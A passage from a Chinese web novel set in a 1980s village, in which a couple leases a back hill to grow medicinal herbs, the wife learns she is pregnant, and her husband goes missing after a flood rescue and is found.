“彩绳的嘛，我们原来还不是，戴跟红绳都高兴的。”
“哈哈哈就是哇，还是现在好呀！”
两个阿婆看了眼又自己说着，小姑娘倒是挺静得下心跟着白春枝学了，一点不受影响的，也是能自己一个人来的，胆子都大。
有着这个小插曲，白春芽也不客气的将自己练习的头发放小卖店了。
“姐，你瞧好了吧，有了这个小姑娘打头阵，后面肯定还有不少人找过来了，我们的头花、发带那些，肯定卖的出去！”
虽然才学不久，白春芽依旧很自信的，自己和搭配和姐姐手艺组合起来，不说的话，谁也看不出是新手做的。
“好好，都听你的。”
白春枝也不拦着妹妹，一篮子的五颜六色，放台面上也当装饰了，看了会儿天色，她又提醒白春芽。
“最近又开始下雨了，天也不咋好，你明天就不来送菜了，雨兮兮的，大家也不来买菜，你在屋头休息，等休息日，我喊你姐夫早点来拉一天就是。”
“好。”
白春芽
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点点头，接连的雨，村里的路也不好走，牛还时不时不听话扯拐，她刚好也休息休息，说着，她又想起家里最近起房子都停工了。
“姐夫这两天怎么还在外面，家里因为这段时间的雨，都没好继续打地基的。”
“我们那个本来也没开始动工的，就是砖那些到位了，你姐夫忙他自己的事了。”
萧远山最近又往村里山上跑，是想包一块地了，但这事还没定，白春枝没好跟家里说，毕竟，肯定要花一笔不小的数目。
“那还是要多注意，村里的大喇叭，最近又开始不停喊了。”
“是啊——”
说到这个，白春枝还挺感慨了。
当初可不就是大喇叭一遍一遍的喊，见天的预警，于是，他们从村里搬到了镇上。
一晃眼，几个月就这么过来了。
晚上，不待白春枝问，萧远山先说起了他那边的情况。
“后山那块地是跟村里谈好了，承包价都不高，不过得十年一签。”
“啊？怎么要签那么久……”
白春枝是有想过不便宜，毕竟，他们上一世，为什么猎户有本事，日子却那么难，就是因为大部分山头都是有主的，现在好了，地都是国家的，但也确实不能白给哪家了。
“这事呢，村头有自己的考量，不过我觉得对我们来说，也是很有利的。”
小夫妻俩靠在床头，萧远山慢慢给小娘子分析了起来。
从客商那儿打听来的信息，其实有不少地方，特别是搞养殖的，人家已经行动起来了，包山包地包鱼塘，只要是能扩大规模的，都在弄。
他们这边，不过是还没听到风声罢了。
像是隔壁村养鸭占了河水的便利，还有跟风养鹌鹑的那家，但都没形成气候，算是小打小闹的，没想着再弄大一点。
要不养鸡放羊放牛那些，完全可以包个山头搞散养。
他们能早点拿下后山那块地也好，要不等大家反应过来，想要的人多了，竞争可就大了。
而且，十年一签，虽说自负盈亏，但这样变数也小，不能说等自家好不容易做起来了，又不让继续承包来，有白纸黑字的合同在，想摘桃子都得再掂量掂量。
“这钱呐，就是一道坎儿啊！”
白春枝想起当初他们买大队淘汰的牛车时，多少人是想却不要不起的。
先机什么的，要抓住了，眼光和钱缺一不可。
“是啊，前段时间的礼盒可是帮了大忙。”
萧远山也不得不念叨一句，时运也是一方面了。
夫妻俩感慨了一番，这事暂且算定下了，不过第二天还得给老爷子说一声的。
要不，先斩后奏，又得挨骂，何况是包山那么大的事。
神奇的是，早饭桌子，萧远山说完，老爷子竟然没生气，也没气得说不出话要拍桌了。
“哎哟，看我干啥？”
老爷子瞧着孙子那欠扁的眼神，好像他是那种不明事理的老头一样。
“我又不是啥都不懂，看你在做正事了，我有啥好拦的，想做就放心大胆的去做。”
“阿公，您是这个！”
听到这话，白春枝都忍不住给老爷子竖大拇指了。
32. 开荒
等萧远山去洗碗，白春枝给老爷子拿八哥的鸟饲料出来，还在偷瞄对方的神情了，看看是不是真没生气。
老爷子接过孙媳妇递过来的碎米谷子，哪能没瞧见她的小动作了。
先添了饲料，又给加了水，最后还给挑了一只青虫，将八哥喂好了，老爷子打扫笼子时，才慢悠悠地说了自己的看法。
“我们啊，本来就是从村里走出来的，这大山里有多少能量，你们是晓得的，不管做什么，总归是饿不死的，何况你们是在栽种了，打定主意了要做这个，就好好弄，也算是把后山给我看好了。”
白春枝点点头，听出了老爷子对大山有某种特殊的情节。
想老爷子从战争时期和灾荒年走过来，大山无疑是保佑了他，也福泽了大家。
白春枝打听完就将老爷子的意思转达了给萧远山。
“幸好我这选择的是中草药种植，没说要整个木材厂，不然光伐木，老爷子都能把我劈了。”
“你这还有心情开玩笑！”
白春枝给萧远山找存款单呢，听他这话，怪不得老爷子总爱他吹胡子瞪眼了，瞧瞧都说的什么。
“怪不得老爷子爱说你不像样呢！”
萧远山想做的这个中草药规模种植。
说实话，白春枝其实还没怎么弄懂了，只知道，现在不管是中药店还是制药厂，肯定的缺药材的。
只是他们之前在山里采摘的那些，都是野生的草药，要遇上点有些年头的灵芝啊、人参啊，自然是能大赚一笔，可这完全是凭运气，多数是些普通药材。
像在端午前后，附近药厂的采购员来大量收的也是比较常见的。
这中草药要是能人工种植了，那专门种些缺口大的，听起来还真是很不错了。
就这样，萧远山在家人的支持下，放开了去做，先跟村里签了十年的包山合同，然后又开始着手准备去省城买种定苗了。
去省城什么的，老爷子和白春枝已经不太稀奇了，两个人在八仙桌上紧盯着那薄薄的一张纸。
“有了这个，后山那片就都是咱家了的吗？?”?
其实相比于前山，大家经常走着，后山那块地算是一个荒山了，道都不好走的，但作为老一辈的护林员，老爷子经常转悠到那边了，要说谁最熟悉那片，萧远山都不一定比得过的，但也没想过这能包给自家了。?
“是，未来十年都是咱家的。”
“那得好好规划一下了。”
白春枝看着那几个红红的手指印，有村上的干部和萧远山的，总觉得有些不真实，这可得赶紧动起来才行。
“这两天稍微雨停了，刚好土也松了，大哥和二哥已经帮忙找人一起先整理着。”
“家里不是还打着地基么，大哥和二哥忙得过来啊？”
白家在老娘子的指挥下，动作比萧家快，白春枝他们只需要过年前修好就可以，还有大半年的时间，不太急。
“嗯，起房子的是老师傅他们，大哥二哥只能先打下手，而且下雨停工了几天，等排水，就帮着我这边在弄后山了。”
“那也行，人多点早些规整出来了。”白春枝也不太懂他们这个安排，只又提醒道，“反正最近还是多注意天气，也不晓得村头的广播天天在放没？”
“在的，不过雨季怎么也得七八月了。”
“……”
为了尽快将后山的荒地开出来，萧远山这段时间是早出晚归，不是在山上跟着大伙儿一起开荒，就是去跑育苗的事。
六月末这一批怕是赶不上了，接下来的七八月，虽然是进入中草药种植的淡季，可他们这片比较适合的丹参和白芍正是时候。
为着这，白春枝还专门买了几本关于中草药种植的书籍了。
萧远山见到还一阵好笑，说她这是“临时抱佛脚”。
“这怎么能算是临时抱佛脚呢？”
白春枝几本书来回的翻开着，想瞧瞧从哪本入手了，听到夫君笑话她，不由辩解道。
“好吧，就算是，那临阵磨枪不快也光啊，你以后要专门做这个，我们不得多学习学习啊！”
“是。”
萧远山点头，不过还是不想让小娘子多担忧，毕竟，是已经投了不少钱进去了，又给她解释道。
“也不用太担忧，做这个，肯定是先找往哪儿销了，而面对各种药材的稀缺，各厂甚至是农科所的都在想办法，像我们这种主动包山的种植户，那是大力支持了，等种子和育苗下来，人家还会派人来指导的。”
“这么好的啊！”
白春枝听夫君这样说，简直不敢信，还有这样的好事，但想想村里热心的村干部、巷子也有街道办，确实大家像广播里说的那样，在为人民服务了。
包山和开荒，就在夏日蝉鸣中有序进行着。
又是一天夜雨后，白春枝和白春芽再次进山采菌子，好吃鸡枞菌就这个把月了，可得抓紧了。
“姐，我们要去后山看看吗？”
白春芽掂了掂没多少重量的背篓，问道。
原来后山的路不好走，她们几乎还没怎么往那边去过，不过近来姐夫他们已经规整出了一条路，白春芽就想去瞧一瞧。
“行，去看一下吧，也不知道他们弄了多少了。”
白春枝见妹妹也穿着的胶鞋，多走点山路应该也没事，点头同意了，同时也比较关心后山的进度，也不知道能不能七月的种植。
姐妹俩边忘后山走着，也没闲着，路上能采的菌子尽量挑着大的好的捡了。
“这越往后山走，菌子都要多些了，可见，平日根本没人往这片走了。”
“越往走林子越深，去的人自然少了，要不是这开了条路，知道那头还有人的，我们也不敢呀！”
“也是。”
白春芽想着小时候听到的传说，什么深山处还有老虎的，根本不敢去的。
“呀，这还有棵樱桃树呢！”
望着那棵不高的樱桃树，还没完全被鸟儿啄完，白春芽彻底兴奋了。
“你摘些吧！”
白春枝瞧着妹妹那小孩儿样，有些好笑，其他他们这边儿还真不怎么缺水果吃了。
这个时节，桑果最多，有的人家院子篱笆不做，就栽桑树了，夏天总能吃得一嘴紫。
白家后院还有两棵杏树，杏子熟了吃杏子，吃不完的又做蜜饯。
不过樱桃确实比较难得了，主要这东西比较脆弱，就得吃新鲜的，有时候赶集有人卖，都不太
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能放。
白春芽爬树还行，只这樱桃树还挺爱生虫的，特别是在山里没照看，而它那叶子背面的纹路跟那猪儿虫时常让人分不清，非得是摸了一手软，才知道是摸错了。
“咦——”
忍着恶心，白春芽将矮枝的几串摘了，终于是不忍了，直接上树，开始折枝丫了。
“姐啊，你在下面小心些。”
“好，你也注意点，踩主枝干啊！”
“知道，你就放心吧，我又不重的。”
白春芽是尽量挑着折的，大串又完整没把鸟吃完的那种，有叶子在上面也不怕摔坏樱桃了，直接让姐姐躲了躲，都给扔地上了。
“行了吧？”
白春枝靠边帮着先折的几枝摘好，见妹妹还在不停地扔了，不由叫停道。
“诶，姐，你给我留几根大枝的啊！”白春芽一边下树边提醒姐姐，“我拿回去插上，看能不能活。”
“哎哟，能活，那也不知道要几年才能吃上呢！”
白春枝看了看她手上七零八落的樱桃枝，不禁摇头，妹妹真是想一出是一出。
“哈哈哈那就留给大毛他们吃。”
两姐妹摘了一篮子樱桃，白春芽背篓上还插了两根枝丫，这才又继续往后山走。
“嘿，春芽你背两根丫丫干啥哦？”
走到后山，两人还没见着开荒的人，只听“叮叮咚咚”的响，白二哥先瞧见俩妹妹了。
“你是来捡菌子的、还是要捡柴的哟，你这选的也不好嘛！”
白二哥走来，顺脚还提了提他们堆在这边的枯木干。
“看你姐夫多会弄，这一堆，说是规整规整可以发木耳的，看那边翻出来的石头也不用盘下去了，就用来垫路和隔断分区了。”
“哇，姐夫真有想法！”
白春芽听着看着，就觉得后山整个都大变样了，不过卸下来背篓，又跟自家二哥强调了，自己折的是樱桃枝枝了。
“以后栽活了，小毛他们就好吃了。”
“嚯哟，她小姑还真是念着几个小的啊，那儿——”说着，白二哥又指了指不远处，“那边还有几棵杨梅树了，你要不要挖两棵回去？”
“去！要挖你挖！”
卸下重担，白春芽也不跟自家二哥闲聊了，转头去找姐姐。
“这地方选的好啊，离溪边也近。”白春芽洗着手，跟姐姐感慨着，说完，又先偷吃一颗樱桃，“甜呐，姐，你快尝尝。”
“真是不错啊！”
白春枝也捏了一颗还不算太红的，毕竟，真是红透了的，不是被鸟儿啄了就是自然掉落了，但味道很好。
“哈哈哈希望我们栽回去的也是这个味吧！”白春芽又连着吃了好几颗，“哦，二哥那边还有杨梅了，等下我们也摘点回去。”
“好啊，杨梅酸的话，还能拿来糖渍了，吃了开胃的。”
白春枝一听还有这个，也挺高兴的，她从前还挺喜欢吃杨梅了。
“嗨呀，大妹一来就给我们送吃的啊！”
姐妹俩再次返回时，开荒的几人都坐过来在休息喝水了，白春枝赶紧将她们新鲜摘的樱桃递了过去。
而白春芽已经等不及去摘杨梅了。
?
33. 暴雨
“酸吗？”
野生杨梅，个头比较小，白春枝就是再爱吃，摘的时候也忍着了，洗干净后，她先挑了一颗喂给萧远山。
“唔，嗯。”
见萧远山点头，白春枝才放心的捏了一个放进自己嘴里。
“哎呀，酸呐！”
白春枝满是期待的咬下去，却是口齿生津的酸味涌向整个口腔，酸的她快说不出话了。
“吐——”
萧远山要不是手脏，都想捏捏小娘子的脸了，见她还皱着眉，又笑道。
“你可是问我酸不酸，我才点头的了啊！”
“真是的，酸你不吐了，还面不改色的吃了。”
“……”
“啊呸呸！”
他们这头还没理论完，白春芽直接在树下吐了个干净。
“怪不得还能剩这么多在树上了，原来是酸啊！”
“诶诶，春芽你别动手动脚的，一会儿摘点回去了我糖渍，那样就不酸了。”
酸的忍不住踢了两脚的白春芽，及时被姐姐叫住了，还有一些气不过，又准备找自家二哥算账去。
“这块儿，大概还要弄多少天？”
杨梅暂时吃不了，白春枝又拿了点樱桃来，这东西总算是甜的。
“已经弄得差不多，基本上在收尾了。”
萧远山指着不远处，又跟小娘子介绍了下。
“暂时先划分了三个区，等指导的人来看过了，再决定要不要继续开垦。”
后山是比前山还高的，要真量下来起码得上万亩了，萧远山当然没包那么多，就从山脚下算起有个两千亩的样子，主要也是荒山，村里没划得太细。
但就这，一年得给村里交一千了，好在虽然签的是十年，没让必须一次□□齐了，不然真拿不出来那么多的钱。
头次种植呢，萧远山的步子也没迈太大，先开出来一部分地来，今天先种一部分看看效果了，明年再说其他了。
白春枝其实每日都有在听夫君讲后山的进度了，但也就今天终于亲眼看看了，才有点具体的概念。
后山小溪那有个缓坡，没什么树木，萧远山他们已经开垦出来了，然后是继续往上清理石块、藤蔓、枯木那些，这白春枝倒是在书山看到过，有些中草药是林间种植比较好的。
休息了一阵，开荒小队再次动起来，白春枝和白春芽摘完杨梅，也往里走了走，继续捡菌子。
“诶，你们两姐妹不走远了哦！”
白二哥虽然不咋着调，还是提醒的姐妹俩，白大哥站一旁也指了指枯木堆的另一边。
“那堆东西分一分，保管是够小卖店好长一段时间的货呐！”
这些跟枯木一样，萧远山一开始就安排好的，开荒队第一批用镰刀、锄头先坎杂草、藤蔓的根，后一批跟上整理时，顺手可以把有用的能吃的都拾到起来，省的家里人还专门上山捡菌子了。
开荒的人本来又是下过雨才上山开荒的，最近基本上每天都要带一小袋子回去了，但架不住这些东西多哇，毕竟他们还是开了好大一片地的，可不就还留了一大堆么！
“晓得了，我们是去捡鸡纵菌的。”
两人是背了背篓来的，总不能空着回去了。
后山这一块儿，确实来的人少，两姐妹还发现了不少鸡油菌，没隔多远就有一抹黄，在林间草丛还挺显眼了，没一会儿便捡了不少。
“这简直就是菌子大丰收啊！”
“才六七月呢，后面肯定更多……”
白春枝直起腰来望了望这林子，听着鸟叫，果然像老爷子说的那样，山里真蕴藏的大能量。
收获颇丰的姐妹俩，比开荒队先下山，临走时，白春芽叶不客气的把牛车赶走了，刚好把那一大堆拖回去，还得好好分拣洗一下了。
总之，又是一个大工程。
接下来几天，老天爷很给面的都是大晴天。
白春枝姐妹俩近来都没空搞缝纫机了，剩下的时间全在撕菌子、切菌子，和晒菌子。
“嗨哟，这么多蘑菇啊？”
拉回来的那天，巷子里的婆婆大娘瞧见了就已经买了不少新鲜菌子了，姜淑云最近单位忙，今天才有空来，看到大门几个大筛子全是蘑菇，还真是没见过这样的阵仗了，不由惊讶道。
“淑云姐来啦！”
白春芽刚翻完一面，见是姜淑云自己这个点来，还挺稀奇的。
“哆哆——”
不停切菌子的白春枝听见妹妹这大喊才抬头了。
“淑云这会儿过来是要买点啥吗？”
白春枝想着姜淑云平日只是早上顺路过来一趟，这几天没见到他们母子来，估计是在忙，可眼下大中午的专门来了，还是难得。
“是，是要预定点东西。”
打完招呼，姜淑云也不多寒暄了，她本来就是趁着午休出来一趟，赶忙把自己要的说了下。
“是这样的，我婆婆和我妈过两天要来，我想先订两只鸡，听说那个乌骨鸡炖汤比较好哇，要是有的话，再要一只乌骨鸡，然后是土鸡蛋，再来就是一些干货，你们看着帮我选点吧？”
“啊？你婆婆跟你妈妈一起来哇？”
听到这个，白春枝还没说什么，白春芽简直心直口快的先问出来。
“嗯。”
姜淑云还拿了一张小豆丁爸爸写的纸条，上面大概列举的都说完了，抬头见姐妹俩一脸奇怪的盯着她看，愣了半秒才反应过来，一下就笑了。
“哈哈哈放心啦，没你们想的那种复杂的婆婆亲妈关系，我这两个妈啊，是打小一起长大的那种好姐妹，后面一起嫁进大院，本来也打算要不要结个娃娃亲了……”
“然后呢，怎么没结了？”
白春芽就喜欢听这种了，一开始没成，那淑云姐和小豆丁爸爸又怎么峰回路转了呢？
“没结成是因为，她们头个分别生了我哥和小豆丁爸爸，我这个比大的两个小了几岁，她们根本没再提了。”
“啊，居然是这样。”
有点像闹了个乌龙，白春芽还想听后面了，但又不好意问了。
好在姜淑云不是那种讲故事讲一半的人，自己又说了两人的缘分。
“我和小豆丁爸爸是组织介绍的，我当时听说是个多么多么优秀的青年
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，心里啊，是比了比两个哥哥的，结果呢，没想到是另一个本人了！”
“这啊，说明你们俩，冥冥之中就是有一根红线。”
“哈哈哈就当是吧！”
姜淑云被白春枝这个说法逗笑了，平常在家小豆丁爸爸都很老成的讲的他们是革命感情，现在跟白家姐妹一说，没想到还挺浪漫了。
说笑了一阵，东西都订好了，约了什么时间来拿，姜淑云就赶着午休结束要回去了，临走前，白春枝给她拿了一罐糖渍杨梅。
“咱们今天冰个糖渍番茄吧？”
连着吃了两天的杨梅，再是加了糖，白春芽也觉得没压住杨梅的酸，没想到姐姐是真的爱，这会儿又拿出来了，她赶忙提议吃番茄。
“啊，那也行。”
家里的番茄刚开始熟，白春芽今天摘了几个来尝尝鲜，都没敢刚放台面上卖了，就自家吃。
“轰隆隆——”
白春枝将番茄烫皮撕掉，切块，再放上白砂糖，还没等她把碗拿到井边，就听到几道雷声。
“哎哟，这怎么就打雷了！”
白春枝匆匆赶到门外，妹妹已经在收拾干菌子了，来不及多抱怨了，她也赶忙将几个大筛子拿到堂屋去。
“诶，今天是稍微有点闷的慌……”
两人刚把外头的东西都收了回来，干脆小卖店也关了，白春芽喝了一口姐姐倒的凉白开，扇了扇才感觉，屋里坐着是有点闷的，她们刚在外面还不觉得有多热。
“是呀，这雨怕是马上要下下来了。”
白春枝听到鸟叫，又赶紧将老爷子的八哥收回屋里。
“春枝呐！要下雨了，我的八哥收回来没？”
刚说着，老爷子就从外面回来了。
“刚在收了，阿公怎么这会儿就回来了？”
现在老爷子在巷子里也找到了乐趣，巷口有家老茶馆重新开业了，平时没事他就把八哥笼子拎过去喝茶，不到晚饭的点，基本没那么早回来的。
“今天没去喝茶，在榕树下跟老吴下象棋，这不是要下雨了么，都收摊了。”
吴老爷子，白春枝知道，就是李阿婆的老伴儿了，没想到老爷子都跟人那么熟了。
“轰隆——”
三人正说着，又是一道带闪电的雷劈了下来，随之是“噼里啪啦”的雨落了下来。
“幸好后山那片是开出来了，不然这么大的雨，跑都跑不赢。”
老爷子看着小天井大颗大颗的雨砸下来，不由感慨道。
“是啊！”
白春枝也在庆幸了，还好是赶了阵工，要不战线拖长了真不行。
而这雨，从下午一直下到了傍晚都没见停的。
“姐夫今晚还回来吗？”
雨太大，白春芽是不好回去了，姐姐留了她在家住，可到了晚饭时间，也没见着姐夫要回来的。
“不知道啊，这雨再不停，估计得在住村里了吧？”
白春枝望着外面忽闪的雷电，也在担忧，夫君出门还没带蓑衣。
不过想想他是村里召集种植的人手，要不还有白家了，总归有地方住的吧？
34. 怀孕
“咚咚咚！”
一大早，萧家的大门就被敲响了。
“谁呀？”
天刚蒙蒙亮，白春枝让妹妹继续睡，自己去看看是不是夫君回来了。
“是不是远山啊？”
白春枝才打开房门，对面的老爷子觉浅也跟着起来了，显然也是担心萧远山的。
“不知道诶……”
白春枝心里隐隐觉得不是，夫君早早赶回来的话，敲门不应该那么急切才是，这都到家了还有什么急的呢？
这么想着，白春枝没敢再跟老爷子说什么了，小跑两步赶紧去抽了门上的插销。
“大妹！妹夫不见了！”
“什么？”
“他二舅哥，你这话是什么意思，什么叫不见了！”
见到门口不是夫君，白春枝还没怎么反应过来，老爷子几步奔到门口抓着白二哥急切地问道。
“是，是这样的，从昨天下午开始下雨，没多久，南河就在涨水了……”
“村里发大水？他被洪水冲走了？”
白春枝晃过神来，瞬间想到上一世他们经历过的天灾祸，地动还能往空地跑，只要没被砸到，就有希望，洪水却是无孔不入，水中窒息不过了片刻的事，那最后才真是叫天天不灵叫地地不灵啊！
“呃——”
“二哥，你说话啊，是不是远山被水冲走了！”
见她二哥欲言又止，却没有否认，白春枝更急了，逮了他另一手使劲摇晃，似是想要确认什么、又不肯信的。
“大妹，你，你先别急。”
白二哥这么早过来，一是通知家里人，二是请老爷子回村，这还没说完呢，先把自家妹子给吓到了，顿时嘴笨的不知道说什么安慰话了。
“现，现在只是没找到人，不一定是出事了。”
“没找到……没找到……没找到……”
萧远山是会水的，如果一晚上都没能找到他人，一想到洪水吞噬的可怕画面。
白春枝嘴上不自觉地念叨着，紧绷的神经，在这一刻，再也坚持不住，她只觉得头脑发昏，眼前一黑，便没了知觉。
“春枝！”
“大妹你怎么了！”
“姐！”
等再睁眼，白春枝又看见了头顶一片白，像那天他们刚来到这里的场景。
雪白的墙面、雪白的床单，而那头顶的明亮的光，她认识，是灯。
是熟识的一切，便没那么恐惧了，白春枝眨着眼睛，又有点茫然，不知自己怎么又到诊所来了？
“嘶——”
动了下，想起身，手上的痛感，立刻将白春枝拉回了现实。
“姐，你醒啦？”
“我这是怎么了？”
“姐呀，你可得保重身体啊，你现在可不是一个人了！”
“什么不是一个人？”
摸着昏昏沉沉的脑袋，白春枝尽量回忆晕倒前的事，完全没明白妹妹说的什么意思。
“这里呀——”白春芽拉着姐姐的手，往她肚子的位子，轻声道，“这里有宝宝了。”
“宝宝？”
慢半拍的理解着妹妹刚刚说的话，白春枝的手跟随白春芽的动作，缓缓摸向肚子，才渐渐明白，这里正在孕育一个小生命。
想着，白春枝不自觉地掉了眼泪。
“怎么了姐，咋还哭了呢？”
白春芽没想到姐姐是这反应，连忙抽过帕子帮她擦眼泪，眼看越擦越多，顿时有些慌了。
“怎么了、怎么了，是太高兴了么？”
“春芽，春芽，你跟姐说，你姐夫怎么样了？”
顾不得眼眶模糊，记起晕倒前的事，白春枝拉住妹妹的手，不停的问道。
“他有没有回来，有没有事？”
“姐，姐！”
白春芽一连唤了几声，见姐姐终于有点反应，不至于一直陷在刚刚的情绪中，这才偷偷舒了口气，低头看了眼自己被紧紧拉着的手，也不敢有大动作，缓了缓语气，解释道。
“你放心，二哥已经载着萧家阿公去找人了，肯定能把姐夫给你带回来的。”
把床头柜上的温开水，喂给姐姐喝了点，白春芽这才坐下，慢慢讲起来了事情的经过。
昨天那个打雷天，她们在镇上也都看着的，说是要把天劈个窟窿都不为过，雨几乎是倾盆而下。
每年夏汛期间，南河的水位都会上涨。
何况是昨天短时间内的强降雨。
当时，萧远山和白家兄弟还在支书家了，上午他们召集完种植的人手，下午就在商量着等种子苗一到，该怎么安排了??。
毕竟这，包山、种植、请人，哪一项都算是近来村里的大事。
自今年初中央下发的一号文件，什么“包产到户、包干到户??”的生产责任制，大队干部们几个月来的细致解读，不说研究得对么深入，比照着别的地方，终于是将分田的事敲定了。
而萧家这户，有萧老爷子守山护林在前，依葫芦画瓢，弄个“包山到户”，似乎也在文件范围内。
那后山的荒山总要想办法利用起来了，不能一直荒着吧？
其实让村干部门比较心动的，是萧远山后面说的，这中草药种植要能够做起来，收益不错的话，有愿意的，他可以带着村民们一起??干，中药材的缺口，就后山种的那点，肯定是远远不够的。
他们南河村呢，靠山靠河，泥沙淤积起来的田地也够肥沃??，还不缺水，但村里的人有那么多，分给每户种粮，是能吃饱，但也要考虑让大伙儿多赚点钱了，总不能一有事就卖粮抽老底，那可不得行。
这也是为什么村里会那么爽快答应萧远山包山了。
眼看雨越下越大，几人不好再走，说起这包山开荒，还好是赶在雨季来临前搞定了，要不这会儿在山上可不好下来。
这话一出，老支书比较谨慎了，看了眼外头屋檐连成线滑落的雨水，没个停歇的迹象，不得不派几个年轻人去各家确认下，是不是每户的人都在，今天是没上山的。
广播在断断续续的水位预警。
萧远山和白二哥刚确认完开荒小队都在家，不远处传来几声伴着电闪雷鸣的惊叫。
几人寻声找去，大致是山脚的方向，可还没走近就看见的前山已经垮了一部分，上山的路自然是没了。
这周围，其实就是当初让尽快搬走的
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几户，离得最近的萧家都搬了，按理是没什么问题了，不过为了确保无人受困，萧远山他们还是挨个去检查一番。
敲到最后，萧远山进到自家的院门，因着他们近来开荒还有在这边歇息了，并没衰败的太厉害，除了发现几只躲雨的松鼠，没有人。
只是在几人返回，路上和另一队核查每户人的村干部汇合时，消息就不太乐观了。
今天没人上山，但上午天比较好，洗衣的人多，有下午去河边洗，到现在还没回来。
一共三人，两个大人和一个小孩儿，按两家的消息，应该不是一起去的。
萧远山他们又分两队去寻找。
等天擦黑找到人时，三人齐齐被困在下游对岸，显然，靠他们自己回不来的。
“人救回来了吗？”
白春枝听到这儿，眼泪是止住了，可声音却变得格外沙哑。
“救回来了，那小孩儿还是姐夫抱回来过的岸呢！”
白春芽讲到这儿，也忍不住有些哽咽了，她二哥赶时间三言两语的讲完，却是比她说的凶险多了，毕竟他自己就在现场的。
“他们是拉着绳去救的，来回几趟，雨也一直没停，到最后…就一些脱力……”
山里滑坡冲下来的泥石流，让河水更加的浑浊，里面的不确定因素更多，当时滑下去的连带岸上的和萧远山一共是三人。
“三个成年人，比较刚才的情况好！”
白春芽知道这个安慰也挺苍白无力的，但又不得不再说点。
“二哥他们循着下游找了一夜，也没发现别的……那就说明，还有希望！”
老支书让找萧老爷子回村，也是这个意思，三个大小伙儿是会水的，应该是不至于，请老爷子是因为他比较熟悉这一带，看看是不是他们找的方向不对。
老爷子跟着白二哥回村，看了落水点和滑坡的情况，然后就回支书家“画地图”了。
“地图”当然不是老爷子随手一画了，都是他这么多年巡山沿河一步一步丈量出来的，而水位上涨加上滑坡泥沙改道，他估量着孙子的习惯，大致圈了三个缓坡地段。
白大哥和白二哥加上村干部，各自带队，就这几个地方重点寻找了。
“总之，活要见人……”
剩下的话老支书说不出来了，他比萧老爷子还小点儿，这会儿也只能拍拍老爷子的肩膀安慰了。
“我孙媳妇今天刚查出有孩子了，远山肯定要回来的。”
老爷子想起临走前的消息，神色更加坚定了。
“这——”
老支书也没想到是个这情况了，又握着老爷子的手道喜。
“呵呵，等我末儿满月，我们村头房子估计也修好了，到时候回村摆酒！”
“好好好！”
除了顺着老爷子的话赞叹，老支书也有些梗住，只能一起望向远方等消息了。
可一定要是好消息啊。
……
“那，我们也要在诊所等着吗？”
听完妹妹话，白春枝感觉整个人都有点飘忽。
“先把这瓶点滴打完，姐，再看哈你的状况，你想回去吗？”
“嗯。”
35. 回来
挂完水，白春芽又请大夫来给姐姐检查了下，确实没什么问题了，姐妹俩才准备回家的。
到家，时间还比较早了，刚天亮出的事，在卫生院打一转回来，巷子里才有了动静。
“姐，你要不再躺会儿吧？”
白春芽本来想把姐姐扶到床上躺着休息，自己再去给她给熬点粥。
“没事，我刚休息好了。”
白春枝摆了摆手，转头钻进灶房了。
“啊？真没事么——”
白春芽见状赶紧跟上了，不过瞧着姐姐似乎是恢复了些精神气，她也没好多阻止了。
“哗啦啦……”
“哎呀！”见姐姐直接要舀了三碗米，白春芽伸手想要拦着已经来不及了，“要煮这么多饭呐？”
“嗯？”白春枝低低地应了一声，又像想起了什么，打起精神，笑道，“你姐夫一会儿回来，肯定饿了。”
“……那我来帮你。”
听到那句“姐夫”，白春芽都怕姐姐是魔怔了，可见她神色正常的样子，顿时不敢多说了。
姐姐说什么是什么吧！
两人在灶房里忙活，其实也挺好的，手上有活儿做，白春芽偷摸观察下，瞧着姐姐不论是洗菜摘菜切菜每一步都有条不紊的，应该也没空再胡思乱想了。
到最后，剁肉都显得格外有劲，白春芽担忧的心是放下了大半。
“行了，端菜吧！”
做了一大桌的菜，白春枝自己瞧着都挺成就感的。
“好！”
白春芽两手端了三盘出去，放到八仙桌上，见其中两个都是姐夫爱吃的，以前就听姐姐唠叨过几次，这下更是忍不住心酸了。
“哎……”
望了眼门外，这要没人回来吃饭，白春芽都知道该怎么收场了，就怕再次刺激了姐姐。
“咚咚！”
突然听到外面大门敲响了，白春芽“蹭”的一下站了起来，现在听到“砰砰”的砸门声，她都快有应激反应了。
“春芽，快去开门呀！”
白春枝已经恢复清亮的嗓音从灶房传来。
“啊？哦哦，这就去。”
白春芽还在全神贯注听敲门声，又听姐姐在里面喊，一时间有点懵了。
“春枝呐！快开门！”
冥冥中，好像是有安排的，白春芽都在怀疑是不是有人想要在小卖店买东西了，就听见萧老爷子爽朗的声音从门外传来。
一听这精气神，就知道是没事了！
“姐夫是找到了吗？”
白春芽小跑着出去开门，只见萧家老爷子抬着手还准备再敲，她二哥正坐在牛车上，就没别人了。
“找到了！”
老爷子乐呵呵的回了一句，便大踏步的跨进大门。
“那，那人呢？”
白春芽左右看了看也没看到了，不由看向她二哥问道。
“在卫生院呢，爸妈大哥他们都在，说是再全身检查检查。”白二哥将牛车简单栓在门口，才跟自家小妹解释道，“问题不大的，知道你们回家了，我跟老爷子这才回来准备给妹夫拿点热乎的饭菜和换洗的衣物。”
“诶，刚刚好呢！”
姐夫回来了，白春芽也有心情跟她二哥说说她姐的变化了。
“早上你来那趟，可真是吓人，我被吵醒刚出来，就见我姐直挺挺的往地上倒……”
“那，那不是，不知道这孩子来得这么巧么！”
白二哥现在回想起来，也是一阵后怕，还是太莽撞了，只想着赶紧找人，没考虑家里人的承受力，大妹突然又这么个情况。
“妹夫这，这下找回来了，也是双喜临门。”
“二哥你是不知道哦，我姐醒来后，我就怕她情绪不对呢！”
“是啊。”白二哥点点头，“她怀起娃娃的，妹夫又出了这么大个事。”
“我姐醒来回过神了，就抓着我的手直问姐夫的情况，我话还没说完，眼泪就止不住了，我劝都劝不了的。”
“哎，你，你该慢慢告诉她的，你姐现在可不是一个人。”
白二哥当时要带老爷子走，也是想着自家妹子在能照顾一下姐姐，没想到小妹也是个莽的。
“嗨呀，我也是先告诉我姐好消息的啊——”
白春芽不满二哥打断自己的话，趁着进门前，赶紧说了后面的重点。
“你是不知道，我姐一回来，那精神头慢慢就恢复了，她还念叨着要煮饭，说姐夫回来了肯定饿，煮了好多米，菜也炒了一大桌，我们这儿刚弄好，没想到你们敲门了！”
“……”
“说巧不巧？”
白二哥走到堂屋看到一桌子热腾腾的饭菜，也忍不住红了眼眶，他大妹这是撑着一口气呢，还好是找回来，要不，他都不敢往后想……
看着一旁的小妹，白二哥拿袖子擦了擦眼睛，小声提醒道。
